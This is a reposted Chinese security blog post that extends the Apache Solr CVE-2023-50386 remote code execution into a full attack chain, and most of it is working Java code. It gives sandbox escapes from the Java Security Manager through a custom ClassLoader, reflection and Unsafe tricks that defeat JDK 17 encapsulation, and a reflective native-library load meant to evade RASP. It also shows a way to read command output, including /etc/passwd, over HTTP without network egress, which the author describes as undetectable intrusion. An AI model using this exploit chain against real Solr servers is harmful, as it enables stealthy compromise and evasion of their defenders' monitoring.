Apache Solr远程代码执行漏洞(CVE-2023-50386)深入利用与验证
2024-2-29 15:22:57 Author: mp.weixin.qq.com(查看原文) 阅读量:28 收藏

在https://xz.aliyun.com/t/13637中,漏洞作者已经详细介绍了漏洞的原理、分析及复现过程,这里就不再CV搬运。在漏洞作者的文章中,仅提供了简单的代码执行(创建文件),在本文中,我们实现了任意代码执行和回显,并且代码可以实现大多数RASP的绕过,也不会产生网络连接,某种意义上可以完成无感入侵。

目录:

Java Security Manager绕过

  • ProcessBuilder测试

  • 自定义ClassLoader绕过

  • 反射利用getProtectionDomain0绕过

  • Unsafe绕过JDK17的限制

  • 反射利用ProcessImpl绕过

JNI绕过RASP

  • 一次失败的尝试

  • 一次成功的尝试

命令执行回显

后记

Java Security Manager绕过

Solr使用了Java Security Manager,因此执行代码会受到沙箱限制

ProcessBuilder测试

我们写一个简单的命令执行

  1. package zk_backup_0.configs.conf1;

  2. import java.io.*;

  3. public class Exp {

  4. static {

  5. try {

  6. String command = "head -n 5 /etc/passwd";

  7. ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));

  8. Process process = builder.start();

  9. BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

  10. String line = reader.readLine();

  11. String res = "";

  12. while (line != null) {

  13. res = res + line + "\n";

  14. line = reader.readLine();

  15. }

  16. reader.close();

  17. System.out.println(res);

  18. new File("/tmp/success").createNewFile();

  19. FileOutputStream stream = new FileOutputStream("/tmp/success");

  20. stream.write(res.getBytes());

  21. }catch (Exception e) {

  22. e.printStackTrace();

  23. }

  24. }

  25. }

编译后按照漏洞复现的步骤令其被加载,可以发现命令并没有被执行成功,我们查看控制台日志 /var/solr/logs/solr-8983-console.log

注意 /var/solr/logs/下面放的日志有solr的运行日志,请求日志,控制台日志等,我们这里编写的恶意类触发的是java沙箱的限制,不在solr运行日志中,因此需要查看控制台日志

  1. java.security.AccessControlException: access denied ("java.io.FilePermission" "<<ALL FILES>>" "execute")

  2. at java.base/java.security.AccessControlContext.checkPermission(Unknown Source)

  3. at java.base/java.security.AccessController.checkPermission(Unknown Source)

  4. at java.base/java.lang.SecurityManager.checkPermission(Unknown Source)

  5. at java.base/java.lang.SecurityManager.checkExec(Unknown Source)

  6. at java.base/java.lang.ProcessBuilder.start(Unknown Source)

  7. at java.base/java.lang.ProcessBuilder.start(Unknown Source)

  8. at zk_backup_0.configs.conf1.Exp.<clinit>(Exp.java:10)

  9. ...

在控制台日志的异常信息中,可以看到缺少了 execute的权限,而在堆栈中可以看到正是 zk_backup_0.configs.conf1.Exp中的 ProcessBuilder.start()方法触发的,因此我们不可以直接使用其执行命令

我们进入容器看一下java启动参数

  1. ps aux|grep java

  2. # solr 585 1.6 10.4 10480400 843664 pts/0 Sl Feb21 5:15 /opt/java/openjdk/bin/java -server -Xms512m -Xmx512m -XX:+UseG1GC -XX:+PerfDisableSharedMem -XX:+ParallelRefProcEnabled -XX:MaxGCPauseMillis=250 -XX:+UseLargePages -XX:+AlwaysPreTouch -XX:+ExplicitGCInvokesConcurrent -Xlog:gc*:file=/var/solr/logs/solr_gc.log:time,uptime:filecount=9,filesize=20M -Dsolr.jetty.inetaccess.includes= -Dsolr.jetty.inetaccess.excludes= -DzkClientTimeout=30000 -DzkRun -Dsolr.log.dir=/var/solr/logs -Djetty.port=8983 -DSTOP.PORT=7983 -DSTOP.KEY=solrrocks -Duser.timezone=UTC -XX:-OmitStackTraceInFastThrow -XX:OnOutOfMemoryError=/opt/solr/bin/oom_solr.sh 8983 /var/solr/logs -Djetty.home=/opt/solr/server -Dsolr.solr.home=/var/solr/data -Dsolr.data.home= -Dsolr.install.dir=/opt/solr -Dsolr.default.confdir=/opt/solr/server/solr/configsets/_default/conf -Dlog4j.configurationFile=/var/solr/log4j2.xml -Dsolr.jetty.host=0.0.0.0 -Xss256k -Djava.security.manager -Djava.security.policy=/opt/solr/server/etc/security.policy -Djava.security.properties=/opt/solr/server/etc/security.properties -Dsolr.internal.network.permission=* -DdisableAdminUI=false -Dsolr.log.muteconsole -jar start.jar --module=http --module=requestlog --module=gzip

可以看到用于设置Java Security Manager的参数 -Djava.security.manager-Djava.security.policy=/opt/solr/server/etc/security.policy-Djava.security.properties=/opt/solr/server/etc/security.properties

可知配置文件在 /opt/solr/server/etc/security.policy,我们可以分析下有什么绕过的方法

如果下载了源码的话,也可以直接在 solr-releases-solr-9.0.0\solr\server\etc中找到 security.policy,绕过java沙箱可以参考这篇文章:https://www.mi1k7ea.com/2020/05/03/浅析Java沙箱逃逸/

自定义ClassLoader绕过

一通研究后发现里面有这个权限: permission java.lang.RuntimePermission"createClassLoader";

也就是我们可以自定义一个ClassLoader来进行绕过

原理具体看上面提到的文章,这里直接给一个可以在solr下利用的demo

命令执行类

  1. package zk_backup_0.configs.conf1;

  2. import java.io.BufferedReader;

  3. import java.io.File;

  4. import java.io.FileOutputStream;

  5. import java.io.InputStreamReader;

  6. import java.security.AccessController;

  7. import java.security.PrivilegedAction;

  8. public class ExpBypassExec {

  9. public ExpBypassExec() {}

  10. static {

  11. AccessController.doPrivileged(new PrivilegedAction() {

  12. public Object run() {

  13. try {

  14. String command = "head -n 5 /etc/passwd";

  15. ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));

  16. Process process = builder.start();

  17. BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

  18. String line = reader.readLine();

  19. String res = "";

  20. while (line != null) {

  21. res = res + line + "\n";

  22. line = reader.readLine();

  23. }

  24. reader.close();

  25. System.out.println(res);

  26. new File("/tmp/success").createNewFile();

  27. FileOutputStream stream = new FileOutputStream("/tmp/success");

  28. stream.write(res.getBytes());

  29. return null;

  30. } catch (Exception e) {

  31. e.printStackTrace();

  32. return null;

  33. }

  34. }

  35. });

  36. }

  37. }

自定义ClassLoader

  1. package zk_backup_0.configs.conf1;

  2. import java.io.ByteArrayOutputStream;

  3. import java.io.File;

  4. import java.io.FileInputStream;

  5. import java.net.URL;

  6. import java.nio.ByteBuffer;

  7. import java.nio.channels.Channels;

  8. import java.nio.channels.FileChannel;

  9. import java.nio.channels.WritableByteChannel;

  10. import java.security.*;

  11. import java.security.cert.Certificate;

  12. import java.util.Arrays;

  13. public class ExpBypassLoader extends ClassLoader {

  14. public ExpBypassLoader() {}

  15. public ExpBypassLoader(ClassLoader loader) {

  16. super(loader);

  17. }

  18. @Override

  19. public Class<?> loadClass(String name) throws ClassNotFoundException {

  20. if (name.contains("ExpBypassExec")) {

  21. return findClass(name);

  22. }

  23. return super.loadClass(name);

  24. }

  25. @Override

  26. protected Class<?> findClass(String name) throws ClassNotFoundException {

  27. File file = getClassFile(name);

  28. try {

  29. byte[] bytes = getClassBytes(file);

  30. Class<?> c = defineClazz(name, bytes, 0, bytes.length);

  31. return c;

  32. } catch (Exception e) {

  33. e.printStackTrace();

  34. }

  35. return super.findClass(name);

  36. }

  37. protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {

  38. try {

  39. PermissionCollection pc = new Permissions();

  40. pc.add(new AllPermission());

  41. ProtectionDomain pd = new ProtectionDomain(new CodeSource((URL) null, (Certificate[]) null),

  42. pc, this, null);

  43. return this.defineClass(name, b, off, len, pd);

  44. } catch (Exception e) {

  45. e.printStackTrace();

  46. return null;

  47. }

  48. }

  49. private File getClassFile(String name) {

  50. // 注意这里的classpath不是默认的,因此需要手动指定我们上传class的目录和文件

  51. String path = name.replace(".", "/");

  52. File file = new File("/var/solr/data/collection2_shard1_replica_n1/lib/collection1/" + path + ".class");

  53. return file;

  54. }

  55. private byte[] getClassBytes(File file) throws Exception {

  56. FileInputStream fis = new FileInputStream(file);

  57. FileChannel fc = fis.getChannel();

  58. ByteArrayOutputStream baos = new ByteArrayOutputStream();

  59. WritableByteChannel wbc = Channels.newChannel(baos);

  60. ByteBuffer by = ByteBuffer.allocate(1024);

  61. while (true) {

  62. int i = fc.read(by);

  63. if (i == 0 || i == -1) {

  64. break;

  65. }

  66. by.flip();

  67. wbc.write(by);

  68. by.clear();

  69. }

  70. fis.close();

  71. return baos.toByteArray();

  72. }

  73. }

入口函数

  1. package zk_backup_0.configs.conf1;

  2. public class ExpBypassMain {

  3. static {

  4. ExpBypassLoader loader = new ExpBypassLoader();

  5. try {

  6. // 注意需要使用全限定类名,不然自定义的classloader是加载不到的

  7. Class<?> clz = Class.forName("zk_backup_0.configs.conf1.ExpBypassExec", true, loader);

  8. Object object = clz.newInstance();

  9. } catch (Exception e) {

  10. throw new RuntimeException(e);

  11. }

  12. }

  13. }

将以上三个类编译后生成的类文件全部放入 conf1,注意有4个类文件

前面我们提到由于solr docker的jdk是17.10,为了防止版本差异导致运行出错,我们也使用jdk17编译,然而这个绕过姿势中的AccessController类在jdk17中废弃了,不过亲测jdk8编译也是可以的

  1. conf1

  2. ├── ExpBypassExec$1.class

  3. ├── ExpBypassExec.class

  4. ├── ExpBypassLoader.class

  5. ├── ExpBypassMain.class

  6. ├── lang

  7. ├── managed-schema.xml

  8. ├── protwords.txt

  9. ├── solrconfig.xml

  10. ├── stopwords.txt

  11. └── synonyms.txt

接着将 conf2的 solrconfig.xml中加载的类修改为 zk_backup_0.configs.conf1.ExpBypassMain

最后的流程就和漏洞复现一样了,最终我们可以在 tmp/success下看到我们命令执行并写入的文件

在测试过程中(如果不调试的话),遇到的问题可以查看日志解决,主要是solr运行日志 /var/solr/logs/solr.log,在加载恶意类时可以在这个日志查看详细的异常堆栈;还有solr控制台日志 /var/solr/logs/solr-8983-console.log,可以自己在代码中抛一些异常或者打印一些变量

反射利用getProtectionDomain0绕过

这里还有另一个更简单的绕过方式,我们注意到这里有这样两个权限:

  1. permission java.lang.reflect.ReflectPermission "suppressAccessChecks";

  2. permission java.lang.RuntimePermission "accessDeclaredMembers";

即反射权限和访问私有成员的权限,也就是说可能有很多种反射的姿势可以利用

这里我们需要通过反射修改Java Security Manager检查的 ProtectionDomain,其权限原本写在 security.policy中,没有写代表没有权限,但是我们可以通过反射去修改其属性,让其拥有权限

具体原理参考博客,这里直接给实现

在 java.security.ProtectionDomain中,有这么一个变量: java.security.ProtectionDomain#hasAllPerm

其用于标记该类是否拥有所有权限,我们现在的任务就是通过反射将其修改为true,其实现方式若如下:

  1. // 1. 获取类

  2. Class clz = Class.forname("xxx");

  3. // 2. 获取其ProtectionDomain

  4. // 3. 通过反射获取ProtectionDoamin的hasAllPerm字段

  5. Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");

  6. // 4. 设置其可修改

  7. field.setAccessible(true);

  8. // 5. 将hasAllPerm设置为true

  9. field.set(clz.getProtectionDomain(), true);

会发现提示没有 getProtectionDomain的权限,这是因为在 java.lang.Class#getProtectionDomain中,会调用SecurityManager对其进行权限检查

我们简单分析后可以发现,在权限检查后,还调用了 protectionDomain和 getProtectionDomain0,因此我们通过反射,在权限检查后调用这两个方法任意一个即可,作者博客的demo如下:

  1. public static void main(String[] args) throws Exception {

  2. StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();

  3. // 遍历栈帧

  4. for (StackTraceElement stackTraceElement : stackTraceElements) {

  5. try {

  6. Class clz = Class.forName(stackTraceElement.getClassName());

  7. // 利用反射调用getProtectionDomain0方法

  8. Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);

  9. getProtectionDomain.setAccessible(true);

  10. // 获取ProtectionDomain

  11. ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);

  12. // 反射设置hasAllPerm为true

  13. if (pd != null) {

  14. Field field = pd.getClass().getDeclaredField("hasAllPerm");

  15. field.setAccessible(true);

  16. field.set(pd, true);

  17. }

  18. } catch (Exception e) {

  19. e.printStackTrace();

  20. }

  21. }

  22. Runtime.getRuntime().exec("calc");

  23. }

作者这么运行,确实弹出了计算器,但是这就结束了吗?:)

Unsafe绕过JDK17的限制

还记得我们的运行环境吗:jdk17,在jdk17下,这么做会出现这个异常:

  1. java.lang.reflect.InaccessibleObjectException: Unable to make private native java.security.ProtectionDomain java.lang.Class.getProtectionDomain0() accessible: module java.base does not "opens java.lang" to unnamed module @2957fcb0

抛异常的位置在 xxx.setAccessible(true);处,这是因为从jdk17开始,不再允许通过反射访问 java.*中的非公开变量和方法了

具体的改动在jep 403:https://openjdk.org/jeps/403

  1. Summary

  2. Strongly encapsulate all internal elements of the JDK, except for critical

  3. internal APIs such as sun.misc.Unsafe. It will no longer be possible to

  4. relax the strong encapsulation of internal elements via a single command-

  5. line option, as was possible in JDK 9 through JDK 16.

jdk9~16中会抛警告,从jdk17开始直接抛异常

第一点说的是对jdk代码的强封装,第二点说的是Unsafe还可以用

这要怎么绕过呢?

参考:https://pankas.top/2023/12/05/jdk17-反射限制绕过/

在这篇博客中,提到了通过Unsafe来实现,Unsafe的知识参考https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html,其提供了直接操作java内存和类的方式,这里就是利用了Unsafe还可以用这一点来绕过

原文博客的分析讲的很详细了,这里直接给实现:

  1. package zk_backup_0.configs.conf1;

  2. import sun.misc.Unsafe;

  3. import java.lang.reflect.Field;

  4. import java.lang.reflect.Method;

  5. import java.security.ProtectionDomain;

  6. public class ExpBypass4 {

  7. public static void main(String[] args) throws Exception {

  8. StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();

  9. //遍历栈帧

  10. for (StackTraceElement stackTraceElement : stackTraceElements) {

  11. try {

  12. // 获取Unsafe

  13. Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");

  14. unsafeField.setAccessible(true);

  15. Unsafe unsafe = (Unsafe) unsafeField.get(null);

  16. // 获取Object的Module

  17. Module module = Object.class.getModule();

  18. Class<?> currentClass = ExpBypass4.class;

  19. // 通过Unsafe设置类的module为Object类的module(绕过jdk限制的关键),使其能够被访问(并修改)

  20. long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

  21. unsafe.getAndSetObject(currentClass, addr, module);

  22. // 获取类

  23. Class clz = Class.forName(stackTraceElement.getClassName());

  24. // 利用反射调用getProtectionDomain0方法获取ProtectionDomain

  25. Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);

  26. getProtectionDomain.setAccessible(true);

  27. ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);

  28. // 将ProtectionDomain的hasAllPerm修改为true,使其拥有所有权限

  29. if (pd != null) {

  30. Field field = pd.getClass().getDeclaredField("hasAllPerm");

  31. field.setAccessible(true);

  32. field.set(pd, true);

  33. }

  34. } catch (Exception e) {

  35. e.printStackTrace();

  36. }

  37. }

  38. Runtime.getRuntime().exec("calc");

  39. }

  40. }

看看效果:

到此,我们就实现了单文件绕过JDK17、Java Security Manager的限制实现任意代码执行

既然我们已经可以反射访问 java.*了,这里也可以直接反射调用 java.lang.ProcessImpl#start来绕过Java Security Manager的检查,而不用去赋予栈帧权限,代码如下:

  1. public class ExpTest {

  2. static {

  3. try {

  4. Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");

  5. unsafeField.setAccessible(true);

  6. Unsafe unsafe = (Unsafe) unsafeField.get(null);

  7. Module module = Object.class.getModule();

  8. Class<?> currentClass = ExpTest.class;

  9. long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

  10. unsafe.getAndSetObject(currentClass, addr, module);

  11. String[] cmd = {"head", "-n", "5", "/etc/passwd"};

  12. Class clz = Class.forName("java.lang.ProcessImpl");

  13. Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

  14. method.setAccessible(true);

  15. Process process = (Process) method.invoke(clz, cmd, null, null, null, false);

  16. } catch (Exception e) {

  17. e.printStackTrace();

  18. }

  19. }

  20. }

JNI绕过RASP

对于这个漏洞,是非常典型的“无特征”型的通用漏洞(此处是我自己下的定义:)),这是什么意思呢,即这个漏洞所有请求都是正常的业务行为,在waf层是无法防御的;

在应用层上,就只能靠rasp去防御了,而对于此漏洞的调用链,也是没有明显通用特征的,由于漏洞利用的是 createbackupupload这些业务常用的接口,所以hook这些方法可能对性能影响很大,就只能依赖于捕获攻击者后利用的调用方法了,例如 Runtime.getRuntime().exec("calc");之类的

因此如果能实现命令执行绕过rasp,也就基本实现了无感入侵

前置知识:JNI实现RCE:https://javasec.org/javase/JNI/

一次失败的尝试

在上文的基础上,我们赋予了所有栈帧全部权限,所以其实直接使用 System.load()去加载动态链接库就可以了;不过一开始我想通过一个另外的方法来实现

直接执行 System.load()的话,会受到Java Security Manager的限制,我们首先查看 security.policy,可以看到关于 loadLibrary的权限有如下几个:

  1. permission java.lang.RuntimePermission "loadLibrary.jaas";

  2. permission java.lang.RuntimePermission "loadLibrary.jaas_unix";

  3. permission java.lang.RuntimePermission "loadLibrary.jaas_nt";

也就是我们能且只能执行以下代码:

  1. System.loadLibrary("jaas");

  2. System.loadLibrary("jaas_unix");

  3. System.loadLibrary("jaas_nt");

在我的知识范围内(超纲的知识请大佬们教我orz),思索了几种利用方式,若大佬们有更好的利用姿势求教!!大概有以下几个:

1. 写白名单的动态链接库(失败)

在一通查找后,发现只有 libjaas.so是默认存在的,所以我们可以在动态链接库目录下写入名为 libjaas_unix.so或 libjaas_nt.so的恶意动态链接库,然后在代码里面直接通过 System.loadLibrary("jaas_unix");加载并执行命令

个人测试未成功原因:

System.loadLibrary()会在 java.library.path和 sun.boot.library.path里查找动态链接库,而这两者分别为

  1. # java.library.path

  2. /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib

  3. # sun.boot.library.path

  4. /opt/java/openjdk/lib

在分析 security.policy中所有具有写权限( permission java.io.FilePermission"${xxx}","write";)的目录后,发现是没有可以利用的,所以直接写入默认动态链接库目录的方式失败了

2. 手动设置动态链接库目录(失败)

java中可以通过 System.setProperty("java.library.path",path)的方式设置动态链接库目录,然而动态链接库只在jvm启动时会初始化,在jvm启动后就无法再动态改变

我们在setter后,再执行getter获取到的环境变量虽然是我们设置的path,但实际上在loadLibrary时是不会生效的

有什么方法可以动态修改呢?是有的

参考:https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-runtime.html

具体分析看参考博客,简单说就是在 java.lang.ClassLoader#loadLibrary中,有这么一段代码:

  1. if (sys_paths == null) {

  2. usr_paths = initializePath("java.library.path");

  3. sys_paths = initializePath("sun.boot.library.path");

  4. }

initializePath("java.library.path");的作用就是初始化动态链接库目录

我们只需要通过反射将 sys_paths设置为空,就可以在执行 loadLibrary时触发其重新初始化,加载到我们设置的path

但这只是低版本jdk的实现方式:)

在高版本jdk的 java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)中修改了逻辑和实现,我还没找到可以触发其重新加载动态链接库的方法:),所以最终测试也失败了(这也是坑了我最久的地方,一直在思考怎么触发其重新加载)

    一次成功的尝试

    在受到反射调用 ProcessImpl思路的启发后,我看了下 System.loadLibrary()的调用关系,果不其然发现了一个类似的方式

    我们看下这个调用堆栈:

    1. # 自底而上

    2. System.loadLibrary("jaas");

    3. java.lang.System#loadLibrary

    4. java.lang.Runtime#loadLibrary0

    5. java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)

    6. jdk.internal.loader.NativeLibraries#loadLibrary(java.lang.Class<?>, java.lang.String)

    在其中发现,只有 java.lang.Runtime#loadLibrary0会进行 SecurityManager检查

    这就好办了,直接反射调用后面的方法就行

    最终实现代码:

    1. package zk_backup_0.configs.conf1;

    2. import sun.misc.Unsafe;

    3. import java.io.File;

    4. import java.io.IOException;

    5. import java.lang.reflect.Field;

    6. import java.lang.reflect.Method;

    7. public class ExpBypass7 {

    8. public static void main(String[] args) throws IOException {

    9. try {

    10. Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");

    11. unsafeField.setAccessible(true);

    12. Unsafe unsafe = (Unsafe) unsafeField.get(null);

    13. Module module = Object.class.getModule();

    14. Class<?> currentClass = ExpBypass7.class;

    15. long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

    16. unsafe.getAndSetObject(currentClass, addr, module);

    17. // 反射调用java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)加载恶意动态链接库

    18. Class<?> clz = ClassLoader.class;

    19. Method method = clz.getDeclaredMethod("loadLibrary", Class.class, File.class);

    20. method.setAccessible(true);

    21. File file = new File("D:\\xxx\\zk_backup_0\\configs\\conf1\\cmd.dll");

    22. method.invoke(null, currentClass, file);

    23. } catch (Exception e) {

    24. e.printStackTrace();

    25. }

    26. CommandExec commandExec = new CommandExec();

    27. String cmd = commandExec.exec("calc");

    28. }

    29. }

    具体漏洞利用时将 libxxx.so、类文件、Exp一起打包上传即可

    命令执行回显

    到上面为止,我们实现了远程任意代码执行,但是执行后并不会产生回显,所以我在寻找一种可以获得执行结果的方式:

    1. 比较通用的获得回显的方式无非就web/ftp/dns等带外到vps上,但我总觉得这种产生 “网络外连” 的方式很容易被抓到,所以不太想使用(我们连rasp都绕了,最后倒在网络外连上就太亏了)

    2. 寻找一个通过web直接访问的页面,或者api可以获取的文件,进行写操作

    很快我就决定用第二种方式了,因为我们知道我们上传的 Exp.class在 http://192.168.232.128:8983/solr/#/~cloud?view=tree处,所以我就在思考:能不能将命令执行结果写到这些配置里面,然后直接访问去读

    但是一通分析后我放弃了,因为他这些东西不是直接转储到本地目录的,而是通过zookeeper进行存储;zookeeper存储文件的方式不太寻常(没深入研究...他会把文件用几个十六进制存储于 /var/solr/data/zoo_data/version-2下),目录可写,但写完无法通过http请求直接读,因为他会通过zk的api解析后返回,意味着若不是通过zk的api存储的话,就无法解析并读出

    这可怎么办呢,在漫无目的的乱点页面的时候,我突然发现了一个地方怪怪的:

    还记得我在JNI绕RASP中提到的,我的一个失败的测试想法吗?

    我这里通过setter操作设置了动态链接库目录,虽然无法生效,但getter确实是会获得我设置的目录的

    所以我在发现 JavaProperties选项卡中这一信息后,立刻想到了:

    1. 我的setter操作成功设置了一个字符串作为目录

    2. 选项卡返回的信息等同于执行了一个getter操作

    3. 目录可控,返回信息可读,这不就达成了我们的回显的所有条件了吗?

    废话不多说,直接上代码实现:

    1. package zk_backup_0.configs.conf1;

    2. import sun.misc.Unsafe;

    3. import java.io.BufferedReader;

    4. import java.io.File;

    5. import java.io.FileOutputStream;

    6. import java.io.InputStreamReader;

    7. import java.lang.reflect.Field;

    8. import java.lang.reflect.Method;

    9. import java.util.Map;

    10. public class ExpTest {

    11. static {

    12. try {

    13. Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");

    14. unsafeField.setAccessible(true);

    15. Unsafe unsafe = (Unsafe) unsafeField.get(null);

    16. Module module = Object.class.getModule();

    17. Class<?> currentClass = ExpTest.class;

    18. long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

    19. unsafe.getAndSetObject(currentClass, addr, module);

    20. // String command = "head -n 5 /etc/passwd";

    21. String[] cmd = {"head", "-n", "5", "/etc/passwd"};

    22. Class clz = Class.forName("java.lang.ProcessImpl");

    23. Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    24. method.setAccessible(true);

    25. Process process = (Process) method.invoke(clz, cmd, null, null, null, false);

    26. BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

    27. String line = reader.readLine();

    28. String res = "";

    29. while (line != null) {

    30. res = res + line + "\n";

    31. line = reader.readLine();

    32. }

    33. reader.close();

    34. System.setProperty("java.library.path", res);

    35. } catch (Exception e) {

    36. e.printStackTrace();

    37. }

    38. }

    39. }

    执行完了直接通过http访问:

    可以看到 java.library.path已经被我们设置成了命令执行的结果,直接读就可以了

    后记

    到此,我们就绕过了Java Security Manager和JDK 17的限制,实现了任意代码执行及回显,其实还遗留了一些瑕疵没有解决,例如高版本jdk下如何使 System.setProperty()在运行时生效,这个后续有思路再研究了....或者dalao们求教!!orz


    文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247483843&idx=1&sn=8dc52a2367c6256bbaaae77ebe1283ed&chksm=ce2397daf9541ecc7b7bcd03df4045147d28aaf49b1378dd9f838755efc3c32acef41e6c89b0&scene=58&subscene=0#rd
    如有侵权请联系:admin#unsafe.sh